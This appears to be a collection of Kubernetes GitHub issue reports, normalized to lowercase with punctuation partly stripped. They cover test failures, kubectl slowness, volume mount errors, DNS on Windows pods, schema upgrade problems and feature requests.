ready \r w0222 13:50:26.488  traceback  most recent call last :\r w0222 13:50:26.489    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 764, in <module>\r w0222 13:50:26.489      main parse_args   \r w0222 13:50:26.489    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 615, in main\r w0222 13:50:26.489      mode.start runner_args \r w0222 13:50:26.489    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 262, in start\r w0222 13:50:26.490      check_env env, self.command,  args \r w0222 13:50:26.490    file \ /workspace/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 111, in check_env\r w0222 13:50:26.490      subprocess.check_call cmd, env=env \r w0222 13:50:26.490    file \ /usr/lib/python2.7/subprocess.py\ , line 186, in check_call\r w0222 13:50:26.490      raise calledprocesserror retcode, cmd \r w0222 13:50:26.491  subprocess.calledprocesserror: command ' 'kubetest', '--dump=/workspace/_artifacts', '--gcp-service-account=/etc/service-account/service-account.json', '--up', '--down', '--test', '--provider=gce', '--cluster=bootstrap-e2e', '--gcp-network=bootstrap-e2e', '--check-leaked-resources', '--extract=ci/latest', '--gcp-master-image=gci', '--gcp-node-image=gci', '--gcp-nodes=4', '--gcp-zone=us-west1-b', '--ginkgo-parallel=30', '--publish=gs://kubernetes-release-dev/ci/latest-green.txt', '--test_args=--ginkgo.skip=\\\\ slow\\\\ |\\\\ serial\\\\ |\\\\ disruptive\\\\ |\\\\ flaky\\\\ |\\\\ feature:.+\\\\  --minstartuppods=8', '--timeout=50m' ' returned non-zero exit status 1\r e0222 13:50:26.508  command failed\r    \r \r \r cc @mortent @kacole2 @mariantalla @smourapina\r \r  / 

make sure everything that was \ unstable\  now fails.  the purpose of this is to get rid of the dependencies of jenkins and simplify our test output.  known things that need to change: - kubemark test results.

we really need to add periodic reconcile to service controller. we didn't add it in 1.4 because there was enough other stuff going on, and the legacy controller never reconciled.   there is surely a bug in 1.4 around updating status, where if it fails to update  because of conflict , it just drops the update, user sees  <pending> , and the controller never retries. all resources for loadbalancer will actually be setup.   i remember we had one bug around status update, but @mfanjie fixed it  the fix made it into 1.4 right? .  @bowei fyi

is this a bug report or feature request?    choose one : bug report\r \r \r   kubernetes version    use  kubectl version  : \r \r     \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+coreos.0\ , gitcommit:\ cc65f5321f9230bf9a3fa171155c1213d6e3480e\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t04:08:28z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r   environment  :\r -   cloud provider or hardware configuration  : aws, gke\r -   os    e.g. from /etc/os-release : container linux by coreos stable  1235.5.0  \r -   kernel    e.g.  uname -a  : linux ip-172-31-12-46.eu-central-1.compute.internal 4.7.3-coreos-r2  1 smp sun jan 8 00:32:25 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux\r \r \r   what happened  :\r kubectl 1.5.1 is much slower. if i try the following command  kubectl get pods --v=9  i can see: \r \r     \r i0109 18:25:44.695300   40723 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.5.1  darwin/amd64  kubernetes/82450d0\  -h \ authorization: bearer $token\  https://$my_cluster/api\r i0109 18:25:48.129106   40723 round_trippers.go:318  get https://$my_cluster/api 200 ok in 3433 milliseconds\r i0109 18:25:48.129180   40723 round_trippers.go:324  response headers:\r i0109 18:25:48.129194   40723 round_trippers.go:327      content-length: 131\r i0109 18:25:48.129206   40723 round_trippers.go:327      content-type: application/json\r i0109 18:25:48.129217   40723 round_trippers.go:327      date: mon, 09 jan 2017 17:25:48 gmt\r     \r \r but when running the  curl  command i get: \r \r     \r time curl -k -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.5.1  darwin/amd64  kubernetes/82450d0\  -h \ authorization: bearer $token\  https://$my_cluster/api\r {\ kind\ :\ apiversions\ ,\ versions\ : \ v1\  ,\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 10.10.10.0\ } }\r curl -k -xget -h \ accept: application/json,  / \  -h  -h    0.03s user 0.01s system 5% cpu 0.825 total\r     \r which is very fast. \r \r \r   how to reproduce it    as minimally and precisely as possible :\r i can reproduce it with all clusters i have in aws when using 1.5.1  both on client and server . i reproduced the same in gke too. \r \r i am obviously available to provide more data if needed.\r

is this a bug report or feature request? bug report\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7+92b4f97\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ not a git tree\ , builddate:\ 2016-12-10t07:35:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : macbook pro  retina, 15-inch, mid 2015 \r -   os    osx version 10.11.3\r -   kernel    e.g.  uname -a  : darwin blpmacbook 15.3.0 darwin kernel version 15.3.0: thu dec 10 18:40:58 pst 2015; root:xnu-3248.30.4~1/release_x86_64 x86_64\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r i tried to create a side car using the instructions from here: \r https://github.com/kubernetes/kubernetes/tree/master/examples/kubectl-container\r \r i'm able to:\r - make kubectl\r - make container tag=v1.5.3-beta.0.41  i also tried latest version in master branch \r \r when i try to start a pod with the kubectl container i get the following error on startup:\r \r 32s\t32s\t1\t{kubelet minikube}\tspec.containers{kubectl}\t\twarning\tfailed\t\tfailed to start container with docker id f256982f5c53 with error: error response from daemon: rpc error: code = 2 desc = \ oci runtime error: exec format error\ \r \r if i use the image specified in pods.json it works fine. this is the image that works:\r gcr.io/google_containers/kubectl:v0.18.0-120-gaeb4ac55ad12b1-dirty\r \r   what you expected to happen  :\r \r i expect the image i built to startup with no errors.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r just follow the instructions here:\r https://github.com/kubernetes/kubernetes/tree/master/examples/kubectl-container\r \r  and build the latest master branch or the release-1.5 branch.\r \r   anything else do we need to know  :\r nope\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r flocker, flocker fails\r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  :\r private openstack cloud version liberty but not using --cloud-provider=openstack option\r -   os    e.g. from /etc/os-release :\r ubuntu trusty\r -   kernel    e.g.  uname -a  : \r 3.13.0-62-generic\r -   install tools  :\r https://github.com/kubernetes/kube-deploy/tree/master/docker-multinode\r -   others  :\r i made a small extension to the docker-multinode project such that flocker works:\r https://github.com/eddytruyen/kube-deploy/tree/master/docker-multinode\r \r   what happened  :\r i get an error from kubelet when mounting flocker volumes using hyperkube:1.5.1\r when using hyperkube:1.4.8 everything workes fine.\r i do not use dynamic volume provisioning  i.e.i created flocker volume first using flockerctl \r \r kube setup: \r ubuntu trusty nodes\r i am using my own extension to docker-multinode that integrates with flocker: https://github.com/eddytruyen/kube-deploy/tree/master/docker-multinode\r \r flocker setup: 1.15\r datasetprovider: cinder  openstack \r \r error log when deploying mysql: https://github.com/kubernetes/kubernetes/tree/master/examples/mysql-wordpress-pd.  i changed the volume yaml file such that a localhost volume is changed into a flocker dataset :\r \r    \r   11m           1m              13      {kubelet k8-worker-1}                 \r warning          failedmount     mountvolume.setup failed for volume \ kubernetes.io/flocker/38b02b01-dfb5-11e6-83a8-fa163ef52647-local-pv-1\   spec.name: \ local-pv-1\   pod \ 38b02b01-dfb5-11e6-83a8-fa163ef52647\   uid: \ 38b02b01-dfb5-11e6-83a8-fa163ef52647\   with: mount failed: exit status 32\r mounting command: mount\r mounting arguments: /flocker/286d6e19-e715-49e8-9eab-489b325a7d9c /var/lib/kubelet pods/38b02b01-dfb5-11e6-83a8-fa163ef52647/volumes/kubernetes.io~flocker/local-pv-1   bind \r output: mount: special device /flocker/286d6e19-e715-49e8-9eab-489b325a7d9c does not exist\r    \r \r   what you expected to happen  :\r i checked if the /flocker/286d6e19-e715-49e8-9eab-489b325a7d9c dir existed and it does exist. \r i would expect that the mount succeeds\r \r   how to reproduce it    as minimally and precisely as possible :\r install kubernetes and flocker as described in https://github.com/eddytruyen/kube-deploy/tree/master/docker-multinode. created manual flocker volumes using flockerctl as described in the same webpage\r \r test application: mysql: https://github.com/kubernetes/kubernetes/tree/master/examples/mysql-wordpress-pd.  i changed the volume yaml file such that a localhost volume is changed into a flocker dataset \r \r \r data provider configuration of flocker for cinder volumes on openstack cloud release liberty with both cinder volumev1 and cinder volume v2 running:\r \r    \r \ version\ : 1\r \ control-service\ :\r    \ hostname\ : \ 172.17.13.43\ \r    \ port\ : 4524\r \r   the dataset key below selects and configures a dataset backend  see below: aws/openstack/etc .\r   all nodes will be configured to use only one backend\r \r dataset:\r    backend: \ openstack\ \r    region: \ regionone\ \r    verify_peer: false\r    auth_plugin: \ password\ \r    auth_url: \ \ \r    username: \ eddy\ \r    password: \ \ \r    tenant_name: \ eddy\ \r network: \ \ \r    \r   anything else we need to know  :\r \r

i am using <node-ip>:10255/metrics to scrape kubelet_pod_start_latency but it is always like the following:\r \r   help kubelet_pod_start_latency_microseconds latency in microseconds for a single pod to go from pending to running. broken down by podname.\r   type kubelet_pod_start_latency_microseconds summary\r kubelet_pod_start_latency_microseconds{quantile=\ 0.5\ } nan\r kubelet_pod_start_latency_microseconds{quantile=\ 0.9\ } nan\r kubelet_pod_start_latency_microseconds{quantile=\ 0.99\ } nan\r kubelet_pod_start_latency_microseconds_sum 2.37294556e+08\r kubelet_pod_start_latency_microseconds_count 198\r \r why is it always showing nan?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r created a deployment on 1.6.4 that included pod affinity annotations. then upgraded to 1.7.1 which changed the schema of affinity annotations. updated the deployment with the new schema, which spun up a new rs and scaled down the old one. pods belonging to the old rs went  terminating  but never successfully terminated.  kubectl delete pod --force --now foo  would give a successful message but did nothing. attempting to delete the rs would result in\r \r  error: scaling the resource failed with: replicaset.extensions \ foobar\  is invalid: spec.template.annotations.affinity.podantiaffinity.preferredduringschedulingignoredduringexecution 0 .podaffinityterm.topologykey: required value: can not be empty; current resource version 174652233\r  \r \r after editing the pods manually to match the new schema they went away immediately.\r \r   what you expected to happen  :\r the old, invalid replica set to successfully scale down and clean up its pods after the deployment is updated without needing manual intervention.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a deployment with a pod affinity that looks like this:\r    {\r   \ podantiaffinity\ : {\r     \ preferredduringschedulingignoredduringexecution\ :  \r       {\r         \ weight\ : 80,\r         \ labelselector\ : {\r           \ matchexpressions\ :  \r             {\r               \ key\ : \ app\ ,\r               \ operator\ : \ in\ ,\r               \ values\ :  \ foobar\  \r             }\r            \r         },\r         \ topologykey\ : \ failure-domain.beta.kubernetes.io/zone\ \r       }\r      \r   }\r }\r    \r needs  i assume  <1.7.0, we created it on 1.6.4.\r \r update to 1.7.0+, observe that pods now have events like this:\r    \r   firstseen\tlastseen\tcount\tfrom\t\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t\t-------------\t--------\t------\t\t\t-------\r   42m\t\t5m\t\t176\tkubelet, xxxxxxxxxxxxxxxxxxxxxxxxxxxx\t\t\twarning\t\tfailedvalidation\terror validating pod xxx from api, ignoring: metadata.annotations.affinity.podantiaffinity.preferredduringschedulingignoredduringexecution 0 .podaffinityterm.topologykey: required value: can not be empty\r    \r update the deployment that created the pods to match the new spec. the pods of the old replicaset will be stuck  terminating  until the pods are manually edited to match the new schema, at which point they will clean up instantly.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : pre-upgrade 1.6.4, post-upgrade 1.7.1\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release :\r    cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1409.7.0\r version_id=1409.7.0\r build_id=2017-07-19-0005\r pretty_name=\ container linux by coreos 1409.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :  uname -a\r linux xxx 4.11.11-coreos  1 smp tue jul 18 23:06:59 utc 2017 x86_64 intel r  xeon r  cpu e5-2630 v2 @ 2.60ghz genuineintel gnu/linux \r - install tools: matchbox/ansible\r - others:\r

head is using k8s.gcr.io:\r https://github.com/kubernetes/kubernetes/blob/90f681be107cf67aa610b836a6a45f99e0bf04f2/cluster/addons/dns/coredns/coredns.yaml.in l109\r \r it would be great if you could also update the 1.10 and 1.9 release branches to do the same so we can vulnerability scan those images.\r \r    \r gcastle@jnt:~/go/src/k8s.io/kubernetes$ git checkout --quiet upstream/release-1.10\r gcastle@jnt:~/go/src/k8s.io/kubernetes$ g coredns/coredns\r cluster/addons/dns/coredns.yaml.sed:        image: coredns/coredns:1.0.6\r cluster/addons/dns/coredns.yaml.in:        image: coredns/coredns:1.0.6\r cluster/addons/dns/coredns.yaml.base:        image: coredns/coredns:1.0.6\r cmd/kubeadm/app/phases/addons/dns/manifests.go:        image: coredns/coredns:{{ .version }}\r gcastle@jnt:~/go/src/k8s.io/kubernetes$ git checkout --quiet upstream/release-1.9\r gcastle@jnt:~/go/src/k8s.io/kubernetes$ g coredns/coredns\r cluster/addons/dns/coredns.yaml.sed:        image: coredns/coredns:1.0.1\r cluster/addons/dns/coredns.yaml.in:        image: coredns/coredns:1.0.1\r cluster/addons/dns/coredns.yaml.base:        image: coredns/coredns:1.0.1\r cmd/kubeadm/app/phases/addons/dns/manifests.go:        image: coredns/coredns:{{ .version }}\r    \r   \r @rajansandeep

e.g.: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/15903\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:574\r expected error:\r     < errors.errorstring | 0xc42714e710>: {\r         s: \ too high pod startup latency 99th percentile: 5.06628735s\ ,\r     }\r     too high pod startup latency 99th percentile: 5.06628735s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:913\r    \r \r  /cc @shyamjvs \r /assign

is this a bug report or feature request?  :\r  \r   what happened  :\r windows pods are not getting the expected dns suffix list. they are only getting the one for their current namespace and the pod dnspolicy is ignored\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r windows pods still only get the dns search suffix for their namespace. they should also have svc.cluster.local and cluster.local so that services can be resolved for other namespaces.\r \r here's /etc/resolv.conf on linux\r    \r kubectl exec -i busybox-sleep cat /etc/resolv.conf\r nameserver 10.0.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local g5hqkyfpy0nuzckf3igv405gkg.xx.internal.cloudapp.net\r options ndots:5\r    \r \r \r windows should have the same dns search suffix results, but it only has the current namespace:\r    \r $ kubectl exec iis-1803-688b96c57b-s6657 ipconfig\r \r windows ip configuration\r \r \r ethernet adapter vethernet  f6667ee9-eth0 :\r \r    connection-specific dns suffix  . : default.svc.cluster.local\r    link-local ipv6 address . . . . . : fe80::8193:c234:bebb:93db%27\r    ipv4 address. . . . . . . . . . . : 10.240.0.136\r    subnet mask . . . . . . . . . . . : 255.240.0.0\r    default gateway . . . . . . . . . : 10.240.0.1\r    \r \r   anything else we need to know?  :\r \r - also reported at https://github.com/azure/azure-container-networking/issues/206\r - issue  61579, pr  63905,  pending revert  66588  was an attempt to fix this, but it didn't work because the dns server list needs to be passed to cni, not docker.\r \r also reported at https://github.com/azure/azure-container-networking/issues/206\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: azure  acs-engine v0.20 \r - os  e.g. from /etc/os-release : windows server version 1803\r \r  cc @daschott

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i run go build command \r ../../../k8s.io/kubernetes/pkg/features/kube_features.go:495:23: cannot us\r e \ k8s.io/apiextensions-apiserver/pkg/features\ .customresourcevalidation  \r type \ k8s.io/apiextensions-apiserver/vendor/k8s.io/apiserver/pkg/util/feat\r ure\ .feature  as type \ k8s.io/apiserver/pkg/util/feature\ .feature in map k\r ey\r ../../../k8s.io/kubernetes/pkg/features/kube_features.go:496:23: cannot us\r e \ k8s.io/apiextensions-apiserver/pkg/features\ .customresourcesubresources\r   type \ k8s.io/apiextensions-apiserver/vendor/k8s.io/apiserver/pkg/util/fe\r ature\ .feature  as type \ k8s.io/apiserver/pkg/util/feature\ .feature in map\r  key\r ../../../k8s.io/kubernetes/pkg/features/kube_features.go:497:23: cannot us\r e \ k8s.io/apiextensions-apiserver/pkg/features\ .customresourcewebhookconve\r rsion  type \ k8s.io/apiextensions-apiserver/vendor/k8s.io/apiserver/pkg/ut\r il/feature\ .feature  as type \ k8s.io/apiserver/pkg/util/feature\ .feature i\r n map key\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r ubuntu 18.04.1 lts \  \\l\r go version go1.11.1 linux/amd64\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r code:\r package main\r \r import  \r \t\ time\ \r \r \t\ github.com/pkg/errors\ \r \t\ k8s.io/api/core/v1\ \r \r \tlog \ github.com/lijiansgit/go/libs/log4go\ \r \tappsv1 \ k8s.io/api/apps/v1\ \r \tmetav1 \ k8s.io/apimachinery/pkg/apis/meta/v1\ \r \tcltappsv1 \ k8s.io/client-go/kubernetes/typed/apps/v1\ \r \tcltcorev1 \ k8s.io/client-go/kubernetes/typed/core/v1\ \r \tdeploymentutil \ k8s.io/kubernetes/pkg/controller/deployment/util\ \r  \r \r \treplicasets, _, _, err := deploymentutil.getallreplicasets config.deployment, r.appsclt \r \tif err != nil {\r \t\tpanic err \r \t}

\r   what happened  :\r \r kubernetes deployments with statefulsets fail to deploy on newer versions of kubernetes. pods are never scheduled because the kubelets are not aware of attached volumes in node status.\r \r i have automation scripts to deploy kubernetes clusters and workloads. my setup works with v1.9.11 but fails on v1.10.13 and v1.11.8 with a clean install. i'm using ceph rdb for persistent storage, see  ceph-ansible  https://github.com/ceph/ceph-ansible .\r \r \r    sh\r % kubectl -n openstack describe pod mariadb-0\r ...\r events:\r   type     reason                 age                from                          message\r   ----     ------                 ----               ----                          -------\r   warning  failedscheduling       48m  x3 over 48m   default-scheduler             pod has unbound persistentvolumeclaims  repeated 3 times \r   normal   scheduled              48m                default-scheduler             successfully assigned mariadb-0 to k8s-node1\r ...\r   warning  failedmount            1m  x21 over 46m   kubelet, k8s-node1  unable to mount volumes for pod \ mariadb-0_openstack 2747d04d-3f5c-11e9-a80e-fa163e8e87a3 \ : timeout expired waiting for volumes to attach or mount for pod \ openstack\ /\ mariadb-0\ . list of unmounted volumes= mysql-data . list of unattached volumes= mysql-data mycnfd mariadb-bin mariadb-etc mariadb-secrets mariadb-token-8p2lv \r \r \r % journalctl -u kubelet\r mar 05 15:34:28 k8s-node1 kubelet 8559 : e0305 15:34:28.726466    8559 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-28344807-3f5c-11e9-98d0-2e582fbe0888\\\ \  failed. no retries permitted until 2019-03-05 15:34:30.726418596 +0000 utc m=+1403.153061567  durationbeforeretry 2s . error: \ volume has not been added to the list of volumesinuse in the node's volume status for volume \\\ pvc-273fe77e-3f5c-11e9-a80e-fa163e8e87a3\\\   uniquename: \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-28344807-3f5c-11e9-98d0-2e582fbe0888\\\   pod \\\ mariadb-0\\\   uid: \\\ 2747d04d-3f5c-11e9-a80e-fa163e8e87a3\\\   \ \r \r \r % kubectl -n openstack get pv\r name                                       capacity   access modes   reclaim policy   status    claim                                  storageclass   reason    age\r pvc-273fe77e-3f5c-11e9-a80e-fa163e8e87a3   5gi        rwo            delete           bound     openstack/mysql-data-mariadb-0         general                  45m\r \r \r % kubectl -n openstack get pv pvc-273fe77e-3f5c-11e9-a80e-fa163e8e87a3 -o yaml |grep dynamic-pvc\r     image: kubernetes-dynamic-pvc-28344807-3f5c-11e9-98d0-2e582fbe0888\r \r \r % kubectl get node k8s-node1 -o yaml\r ...\r   volumesattached:\r   - devicepath: \ \ \r     name: kubernetes.io/rbd/ 10.100.0.3:6789 :kubernetes-dynamic-pvc-28344807-3f5c-11e9-98d0-2e582fbe0888\r   volumesinuse:\r   - kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-28344807-3f5c-11e9-98d0-2e582fbe0888\r    \r \r the pvs and pvcs are created and successfully attached to nodes. the main difference between my working and non-working setup is the inconsistency of pv names between   volumesattached   and   volumesinuse  .\r \r \r   what you expected to happen  : \r \r i expect the pods to be successfully deployed.\r \r \r   how to reproduce it  as minimally and precisely as possible   : \r \r deploy a new kubernetes cluster and workload using my automation scripts.\r \r \r   anything else we need to know?  : not at the moment\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.8\r - cloud provider or hardware configuration: openstack/bare metal\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-22-generic  39-ubuntu smp x86_64 gnu/linux\r - install tools: kubeadm\r - others:  ceph-ansible  https://github.com/ceph/ceph-ansible ,  openstack-helm  https://github.com/openstack/openstack-helm

https://github.com/kubernetes/kubernetes/blob/master/pkg/util/logs.go l29 modifies the pflag global variable.  any binary which uses any kubernetes package and pflags, accidentally gets a  log-flush-frequency  flag added.

hi,  i know similar issues have been already discussed, but this seems to be different. i have a secret:      $ kubectl get secret redissecret -o yaml apiversion: v1 data:   password: agvzbg8= kind: secret metadata:   creationtimestamp: 2016-03-10t09:32:17z   name: redissecret   namespace: app   resourceversion: \ 1400750\    selflink: /api/v1/namespaces/app/secrets/redissecret   uid: fabb7240-e6a2-11e5-a824-00163e5316db type: opaque      ... and a pod      apiversion: v1 kind: pod metadata:   name: redis-test   annotations:     volumesuser: oracle   labels:     app: redis spec:   containers:   - name: redis     image: redis:3.0.6     volumemounts:       - name: mysecret         mountpath: /var/mysecret         readonly: true   volumes:   - name: mysecret     secret:       secretname: redissecret   nodename: somename   restartpolicy: always      the pod is started without any errors, the pod describe command shows the secret volume:      volumes:   mysecret:     type:   secret  a secret that should populate this volume       but the mount point is empty:      $ kubectl exec redis-test -- ls -l /var/mysecret total 0  $ kubectl exec redis-test -- mount | grep mysecret /dev/xvda2 on /var/mysecret type ext4  ro,relatime,data=ordered       and this is interesting - docker inspect shows the bind and mount      \ hostconfig\ : {         \ binds\ :               \ /var/lib/kubelet/pods/c1704ca6-e6a8-11e5-a824-00163e5316db/volumes/kubernetes.io~secret/mysecret:/var/mysecret\ ,             \ /var/lib/kubelet/pods/c1704ca6-e6a8-11e5-a824-00163e5316db/etc-hosts:/etc/hosts\ ,             \ /var/lib/kubelet/pods/c1704ca6-e6a8-11e5-a824-00163e5316db/containers/redis/62cb03eff6e467c100781314d3320e43ba8f7165f36ed0226c20c83544fb7f28:/dev/termination-log\           ,      ...      {             \ source\ : \ /var/lib/kubelet/pods/c1704ca6-e6a8-11e5-a824-00163e5316db/volumes/kubernetes.io~secret/mysecret\ ,             \ destination\ : \ /var/mysecret\ ,             \ mode\ : \ ro\ ,            \ rw\ : false },      the file seems to be in place:      $ ls -l /var/lib/kubelet/pods/c1704ca6-e6a8-11e5-a824-00163e5316db/volumes/kubernetes.io~secret/mysecret total 4 -r--r--r-- 1 root root 5 mar 10 10:35 password      i have also tried mounting the secret volume rw and creating a file in /var/mysecret from inside the container. but this new file did not appear in /var/lib/kubelet/pods/c1704ca6-e6a8-11e5-a824-00163e5316db/volumes/kubernetes.io~secret/mysecret.   although the docker inspect shows the dir as mounted, it seems to me that it is not.  not using serviceaccounts, kubelet is run directly  not run in a container .      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.8\ , gitcommit:\ a8af33dc07ee08defa2d503f81e7deea32dd1d3b\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.8\ , gitcommit:\ a8af33dc07ee08defa2d503f81e7deea32dd1d3b\ , gittreestate:\ clean\ }  $ docker info containers: 24 images: 96 storage driver: devicemapper  pool name: docker-202:2-135642-pool  pool blocksize: 65.54 kb  backing filesystem: extfs  data file: /dev/docker_vg/data  metadata file: /dev/docker_vg/metadata  data space used: 4.429 gb  data space total: 71.4 gb  data space available: 66.97 gb  metadata space used: 7.246 mb  metadata space total: 3.754 gb  metadata space available: 3.747 gb  udev sync supported: true  deferred removal enabled: false  library version: 1.02.95-rhel6  2015-09-08  execution driver: native-0.2 logging driver: json-file kernel version: 3.8.13-118.el6uek.x86_64 operating system: oracle linux server 6.7 cpus: 4 total memory: 9.789 gib name: somename id: wopp:32ww:xxuu:yozx:k3l2:qxpk:ix73:u2mg:gndq:maqf:b7xh:un3g warning: bridge-nf-call-iptables is disabled warning: bridge-nf-call-ip6tables is disabled  $ docker version client: version:      1.8.3 api version:  1.20 go version:   go1.4.2 git commit:   f0bb124 built:        wed oct 14 04:06:48 utc 2015 os/arch:      linux/amd64  server: version:      1.8.3 api version:  1.20 go version:   go1.4.2 git commit:   f0bb124 built:        wed oct 14 04:06:48 utc 2015 os/arch:      linux/amd64

console $ kubectl run -i --rm --tty ubuntu --overrides=' > { >   \ apiversion\ : \ batch/v1\ , >   \ spec\ : { >     \ template\ : { >       \ spec\ : { >         \ containers\ :   >           { >             \ name\ : \ ubuntu\ , >             \ image\ : \ ubuntu:14.04\ , >             \ args\ :   >               \ bash\  >              , >             \ stdin\ : true, >             \ stdinonce\ : true, >             \ tty\ : true, >             \ volumemounts\ : { >               \ mountpath\ : \ /home/store\ , >               \ name\ : \ store\  >             } >           } >           >       } >     } >   } > } > '  --image=ubuntu:14.04 --restart=never -- bash error: only encoded map or array can be decoded into a struct      the specific problem in the above is that  \ volumemounts\   should be an array of objects, but that is difficult to identify from the given error. something like this would be much better:      error: only encoded array can be decoded into \ volumemounts\

to avoid large batched merges and frequently test our cadvisor changes in kubernetes we should update cadvisor godeps in kubernetes more frequently. to aid this process, we should invest in automating the process of syncing the godeps.  one way this could work is through a weekly jenkins job that: 1.  go get -u github.com/tools/godep  2. grab the latest kubernetes  head  3. grab the latest cadvisor  head  4. if no changes were made to cadvisor, abort. 5. run  hack/godep-save.sh  6. open a pull request with the changes  for step 6, the pull request could be made by a bot account, but someone needs access to that account in order to handle rebases  or additional automation needs to be implemented to rebase .  the automated prs should still be reviewed by a human, and follow the regular merge process.  @kubernetes/sig-node @ixdy

the ux for using kubectl with multiple namespaces is harder than it need be, and i don't understand why.\r \r per https://kubernetes.io/docs/user-guide/namespaces/\r \r  kubectl config set-context $ kubectl config current-context  --namespace=myns \r \r can we have  kubectl namespace myname  or similar?\r \r other ideas:\r \r    kubectl use ns myns   and  kubectl use cluster myothercluster   \r    kubectl use myothercluster/myns \r \r \r i believe openshift also calls namespaces projects; we could adopt the same terminology.  they have  kubectl project myns .\r \r cc @kubernetes/sig-cli-feature-requests \r \r

